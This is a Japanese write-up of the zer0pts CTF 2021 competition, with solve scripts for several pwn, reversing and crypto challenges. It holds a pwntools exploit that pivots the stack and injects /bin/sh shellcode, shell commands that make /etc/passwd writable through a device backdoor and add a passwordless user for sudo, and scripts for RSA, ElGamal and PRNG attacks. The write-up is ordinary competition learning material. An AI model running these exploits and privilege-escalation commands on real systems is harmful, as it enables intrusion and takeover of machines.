zer0pts CTF 2021 Writeup
Sun Mar 07 2021
3/6 9:00 - 3/7 21:00 (JST) に開催された zer0pts CTF 2021 にソロで参加しました。 主に crypto の問題を解きました。 web や rev は一通り問題を眺めたものの全然解けませんでした…ですがどの問題も考えているだけで楽しく、とてもいい CTF でした。 結果は 49th/951 でした。解いた問題についてまとめていきます。
pwn
Not Beginner's Stack
FOR_BEGINNERS.md にも書いてある通り、 return address を stack ではなく bss 領域で管理しており、いわゆる stack overflow による ROP は出来なくなっています。 しかし leave 命令経由で rbp を書き換えることができるため、これをうまく使います。
1回目の入力で stack overflow の脆弱性があるため、ここで rsp が bss 領域を指すように rbp を書き換えます。具体的には bss 領域 + 0x100 を rbp に書き込みます。 すると次の入力が bss 領域に書き込まれるため、 return address をいじることが可能になります。
from pwn import * elf = ELF("./not_beginners_stack/chall") context.binary = elf r = remote("pwn.ctf.zer0pts.com", 9011) offset = 8 r.sendafter("Data: ", b"A" * 256 + pack(0x600234+offset+0x100)) # 次の read で書き込む場所が bss 領域になるように # http://shell-storm.org/shellcode/files/shellcode-806.php r.sendafter("Data: ", pack(0x600234+offset+8) + b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05") r.interactive()
zer0pts{1nt3rm3d14t3_pwn3r5_l1k3_2_0v3rwr1t3_s4v3d_RBP}
reversing
infected
解析
試しに実行してみると、 cuse: failed to open /dev/cuse: Permission denied と言われる (怖いので sudo では実行しなかった)。また定義された関数を見ていると fuse_* という名前のものが多かったため、そのあたりの単語でググると、 character device in user space なるものらしい。
例えば https://libfuse.github.io/doxygen/cuse_8c.html とかの例を眺めたりしました。
これを踏まえて reversing すると、大事そうな部分が以下の箇所。
│ │└─> 0x00000b40 488b8540ffff. mov rax, qword [ptr] │ │ 0x00000b47 488d35d20200. lea rsi, [0x00000e20] ; ":" ; const char *s2 │ │ 0x00000b4e 4889c7 mov rdi, rax ; char *s1 │ │ 0x00000b51 e80afeffff call sym.imp.strtok ;[3] ; char *strtok(char *s1, const char *s2) │ │ 0x00000b56 48898548ffff. mov qword [var_b8h], rax │ │ 0x00000b5d 488d35bc0200. lea rsi, [0x00000e20] ; ":" ; const char *s2 │ │ 0x00000b64 bf00000000 mov edi, 0 ; char *s1 │ │ 0x00000b69 e8f2fdffff call sym.imp.strtok ;[3] ; char *strtok(char *s1, const char *s2) │ │ 0x00000b6e 48898550ffff. mov qword [path], rax │ │ 0x00000b75 488d35a40200. lea rsi, [0x00000e20] ; ":" ; const char *s2 │ │ 0x00000b7c bf00000000 mov edi, 0 ; char *s1 │ │ 0x00000b81 e8dafdffff call sym.imp.strtok ;[3] ; char *strtok(char *s1, const char *s2) │ │ 0x00000b86 48898558ffff. mov qword [str], rax │ │ 0x00000b8d 4883bd48ffff. cmp qword [var_b8h], 0 │ │┌─< 0x00000b95 7414 je 0xbab │ ││ 0x00000b97 4883bd50ffff. cmp qword [path], 0 │ ┌───< 0x00000b9f 740a je 0xbab │ │││ 0x00000ba1 4883bd58ffff. cmp qword [str], 0 │ ┌────< 0x00000ba9 7519 jne 0xbc4 │ ││││ ; CODE XREFS from sym.backdoor_write @ 0xb95, 0xb9f │ │└─└─> 0x00000bab 488b8538ffff. mov rax, qword [var_c8h] │ │ │ 0x00000bb2 be16000000 mov esi, 0x16 │ │ │ 0x00000bb7 4889c7 mov rdi, rax │ │ │ 0x00000bba e861fdffff call sym.imp.fuse_reply_err ;[2] │ │ │┌─< 0x00000bbf e9b9000000 jmp 0xc7d │ │ ││ ; CODE XREF from sym.backdoor_write @ 0xba9 │ └────> 0x00000bc4 488b8548ffff. mov rax, qword [var_b8h] │ ││ 0x00000bcb ba08000000 mov edx, 8 ; size_t n │ ││ 0x00000bd0 488d354b0200. lea rsi, str.b4ckd00r ; 0xe22 ; "b4ckd00r" ; const char *s2 │ ││ 0x00000bd7 4889c7 mov rdi, rax ; const char *s1 │ ││ 0x00000bda e8e1fcffff call sym.imp.strncmp ;[4] ; int strncmp(const char *s1, const char *s2, size_t n) │ ││ 0x00000bdf 85c0 test eax, eax │ ┌───< 0x00000be1 0f8582000000 jne 0xc69 │ │││ 0x00000be7 488d9560ffff. lea rdx, [var_a0h] │ │││ 0x00000bee 488b8550ffff. mov rax, qword [path] │ │││ 0x00000bf5 4889d6 mov rsi, rdx ; int64_t arg2 │ │││ 0x00000bf8 4889c7 mov rdi, rax ; int64_t arg1 │ │││ 0x00000bfb e8f0010000 call sym.stat64 ;[5] │ │││ 0x00000c00 8b8578ffffff mov eax, dword [var_88h] │ │││ 0x00000c06 2500f00000 and eax, 0xf000 │ │││ 0x00000c0b 3d00800000 cmp eax, 0x8000 │ ┌────< 0x00000c10 7541 jne 0xc53 │ ││││ 0x00000c12 488b8558ffff. mov rax, qword [str] │ ││││ 0x00000c19 4889c7 mov rdi, rax ; const char *str │ ││││ 0x00000c1c e84ffdffff call sym.imp.atoi ;[6] ; int atoi(const char *str) │ ││││ 0x00000c21 89c2 mov edx, eax │ ││││ 0x00000c23 488b8550ffff. mov rax, qword [path] │ ││││ 0x00000c2a 89d6 mov esi, edx ; int mode │ ││││ 0x00000c2c 4889c7 mov rdi, rax ; const char *path │ ││││ 0x00000c2f e81cfdffff call sym.imp.chmod ;[7] ; int chmod(const char *path, int mode) │ ││││ 0x00000c34 85c0 test eax, eax │ ┌─────< 0x00000c36 751b jne 0xc53
b4ckd00r:FILE_PATH:PERMISSION という形式で /dev/backdoor (DEVNAME=backdoor という文字列が見つかったので) に書き込むと、 chmod PERMISSION FILE_PATH が走るみたいです。
nc 前の計算 連続アクセスを防ぐために hash の逆計算をさせられるので、適当な script を書いて先に進みます。
import re from itertools import product from hashlib import sha256 from pwn import * r = remote("any.ctf.zer0pts.com", 11011) line = r.recvline().strip() parsed = re.findall(r"sha256\(\"(.*)\"\) = (.*)", line.decode())[0] result = None for i1, i2, i3, i4 in product(range(32, 128), repeat=4): c1, c2, c3, c4 = map(chr, [i1, i2, i3, i4]) tmp = c1 + c2 + c3 + c4 + parsed[0][4:] if sha256(tmp.encode()).hexdigest() == parsed[1]: result = tmp break assert result is not None r.sendline(result[:4]) r.interactive()
nc 後のコマンド sudo が使えればフラグが見られそうなので、その方針を取りました。 id 1000 のユーザーを /etc/passwd に書き込み (パスワード不要にするため2つ目のフィールドは空白)、フラグを見ました。
echo "b4ckd00r:/etc/passwd:00766" > /dev/backdoor echo "hoge::1000:1000:nobody:/:/bin/sh" >> /etc/passwd sudo /bin/ls /root flag-b40d08b2f732b94d5ba34730c052d7e3.txt sudo /bin/cat /root/flag-b40d08b2f732b94d5ba34730c052d7e3.txt zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?}
zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?}
crypto
war(sa)mup
と を RSA で暗号化した が与えられています。
今 は奇数なので、正確には です。これはフラグの最後の文字が } で奇数になっていることや、 なことからわかります。
したがって、 が既知ということになります。これは Franklin-Reiter related message attack が適用可能です。
from Crypto.Util.number import long_to_bytes n = 113135121314210337963205879392132245927891839184264376753001919135175107917692925687745642532400388405294058068119159052072165971868084999879938794441059047830758789602416617241611903275905693635535414333219575299357763227902178212895661490423647330568988131820052060534245914478223222846644042189866538583089 e = 1337 c1 = 89077537464844217317838714274752275745737299140754457809311043026310485657525465380612019060271624958745477080123105341040804682893638929826256518881725504468857309066477953222053834586118046524148078925441309323863670353080908506037906892365564379678072687516738199061826782744188465569562164042809701387515 c2 = 18316499600532548540200088385321489533551929653850367414045951501351666430044325649693237350325761799191454032916563398349042002392547617043109953849020374952672554986583214658990393359680155263435896743098100256476711085394564818470798155739552647869415576747325109152123993105242982918456613831667423815762 # http://inaz2.hatenablog.com/entry/2016/01/20/022936 def related_message_attack(c1, c2, diff, e, n): PRx.<x> = PolynomialRing(Zmod(n)) g1 = x^e - c1 g2 = (x+diff)^e - c2 def gcd(g1, g2): while g2: g1, g2 = g2, g1 % g2 return g1.monic() return -gcd(g1, g2)[0] long_to_bytes(related_message_attack(c1, pow(2, e, n) * c2, -1, e, n))
zer0pts{y0u_g07_47_13457_0v3r_1_p0in7}
OT or NOT OT
コードを言葉にすると、次のようになります。
素数 $p$ が与えられています。AES を使ってフラグを暗号化しています。 key が0になるまで以下を繰り返します。 - key の下1bit目と2bit目をそれぞれ $k_0, k_1$ とします。 - a, b, c, d をユーザーが与えます (ただし a, b, c, d は同じ数字があっては駄目、2以上)。 - r, s, t を randint(2, p-1) で生成します。 - u = a^r c^s, v = b^r c^s mod p を計算し、 x = xor(u, k_0), y = xor(v, k_1) を返します。 - z = d^r t^s を返します。 - key を2bit右にシフトします。
いろいろやり方が考えられそうですが、自分は ( は何でもいい) を与えました。 こうすると となるため、 の計4通りを計算して1になるものが となります。
や を全然使っていないので、非想定解かもしれない…
from pwn import * from itertools import product from base64 import b64decode from Crypto.Util.number import inverse, long_to_bytes from Crypto.Cipher import AES r = remote("crypto.ctf.zer0pts.com", 10130) r.recvuntil("Encrypted flag: ") enc = r.recvline().strip() print(enc) r.recvuntil("p = ") p = int(r.recvline().strip()) key = 0 try: # key の bit 数によっては128回らない場合があるため、雑に try except for i in range(256 // 2): r.sendlineafter("a = ", str(pow(2, -1, p))) r.sendlineafter("b = ", str(2)) r.sendlineafter("c = ", str(p-1)) r.sendlineafter("d = ", str(4)) r.recvuntil("x = ") x = int(r.recvline().strip()) r.recvuntil("y = ") y = int(r.recvline().strip()) r.recvuntil("z = ") z = int(r.recvline().strip()) found = False for i0, i1 in product(range(2), repeat=2): tmp = (x ^ i0) * (y ^ i1) % p if tmp == 1: found = True break if not found: raise RuntimeError key += 4 ** i * (2 * i1 + i0) print(i, key) except Exception: pass enc_raw = b64decode(enc) iv, enc_flag = enc_raw[: AES.block_size], enc_raw[AES.block_size :] aes = AES.new(key=long_to_bytes(key), mode=AES.MODE_CBC, iv=iv) print(aes.decrypt(enc_flag))
zer0pts{H41131uj4h_H41131uj4h}
janken vs yoshiking
じゃんけんで出す手を ElGamal 暗号で暗号化したものを事前に与えてくれます。 ElGamal 暗号では平方剰余が以下のようにしてわかるため、それを利用しました。
としたときに、 か かで場合分けが発生しますが、今回の問題では がランダムに生成される上 の値は直接的にはわからないため、 を仮定します。 の乱数を引いてしまったときは潔く負けを認め、もう一度祈りながらプログラムを走らせましょう。 なため、 の偶奇がわかります。さらに となるため、 を計算することができます。
しかしじゃんけんは3種類の手があるため、一見すると がわかっただけでは相手の手を特定することはできません。けどこれはじゃんけんなので、実は特定しなくても負けない手を選ぶことができるのです。 を事前計算して、 +1 のグループと -1 のグループにわけておくと、たいていの で 1個2個に分かれます。 この1個のグループの値と が一致したときのみ相手の手は特定できるため、勝ちにいきます。 逆に2個のグループの値になったときは相手の手が特定できない (例えばグーかパーかわからない) 状況になるため、負けない手を選びます (今回の例だとパー)。
import re from pwn import * context.log_level = "DEBUG" r = remote("crypto.ctf.zer0pts.com", 10463) _ = r.recvline() recv = r.recvline().strip() g, p = map(int, re.findall(r".*g: ([0-9]*), and p: ([0-9]*)", recv.decode())[0]) parities = [kronecker(i, p) for i in range(1, 4)] even = [i + 1 for i, p in enumerate(parities) if p == 1] odd = [i + 1 for i, p in enumerate(parities) if p == -1] assert len(even) + len(odd) == 3 if len(even) == 2: should_win = -1 hand_win = (odd[0]-2) % 3 + 1 hand_draw = odd[0] % 3 + 1 else: should_win = 1 hand_win = (even[0]-2) % 3 + 1 hand_draw = even[0] % 3 + 1 try: while True: r.recvuntil("[yoshiking]: my commitment") recv = r.recvline() c1, c2 = map(int, re.findall(r".*=\(([0-9]*), ([0-9]*)\)", recv.decode())[0]) r_parity = kronecker(c1, p) m_parity = kronecker(c2, p) * r_parity if m_parity == should_win: r.sendlineafter("[system]: your hand(1-3): ", str(hand_win)) else: r.sendlineafter("[system]: your hand(1-3): ", str(hand_draw)) except Exception: pass r.interactive()
zer0pts{jank3n-jank3n-0ne-m0r3-batt13}
easy pseudo random
Quadratic Congruential Generator (QCG) の問題。特に で の場合は Pollard generator というらしく、今回はこれに相当します。 の MSB の 2/3 がわかっている状態から を復元し、 を求めることでフラグが復元できます。
LLL を使えばいけそうなオーラが漂っていたのでこねくり回していたのですが、自分では思いつかず…結局ググると https://www.ams.org/journals/mcom/2005-74-251/S0025-5718-04-01698-9/S0025-5718-04-01698-9.pdf のような論文が見つかったため、実装しました。
これは余談ですが、この論文は MSB が 2/3 程度が既知のときの解法ですが、 https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.703.9811&rep=rep1&type=pdf は 9/14 < 2/3 程度での解法となっており、さらに https://tel.archives-ouvertes.fr/tel-01135998/document は 3/5 < 9/14 程度での解法となっています。また、 の値が未知でも解けるみたいです。ちゃんと復習したい。
from Crypto.Util.number import * nbits = 256 p = 86160765871200393116432211865381287556448879131923154695356172713106176601077 Fp = Zmod(p) P.<v> = PolynomialRing(Fp) b = 71198163834256441900788553646474983932569411761091772746766420811695841423780 d = 2 F = v^2 + b k = ceil(nbits * (d / (d + 1))) m = 88219145192729480056743197897921789558305761774733086829638493717397473234815 w0 = 401052873479535541023317092941219339820731562526505 w1 = 994046339364774179650447057905749575131331863844814 w0 <<= (nbits - k) w1 <<= (nbits - k) delta = round(p ** (1/3)) # https://www.ams.org/journals/mcom/2005-74-251/S0025-5718-04-01698-9/S0025-5718-04-01698-9.pdf # Theorem 4 M0 = Matrix(ZZ, 3, 3) M1 = Matrix(ZZ, 3, 3) A = int(pow(delta, -2, p) * (w1 - w0 ** 2 - b)) % p B = int(-2*w0*pow(delta, -1, p)) % p C = 1 M0[0, 0] = p M0[1, 1] = delta ** 2 M0[2, 2] = delta M1[0, 0] = A M1[1, 0] = B M1[2, 0] = C M1[0, 1] = 1 M1[1, 2] = 1 M = M0 * M1.inverse() V = None for v in M.LLL(): if v[0] == delta ** 2: V = v break assert V is not None v0 = w0 + V[1] / delta v1 = w1 + (V[2] + (V[1]/delta) ** 2) assert (v0 ** 2 + b) % p == v1 _v = Fp(v1) for i in range(5): _v = F(_v) m ^^= int(_v) long_to_bytes(m)
zer0pts{is_blum_blum_shub_safe?}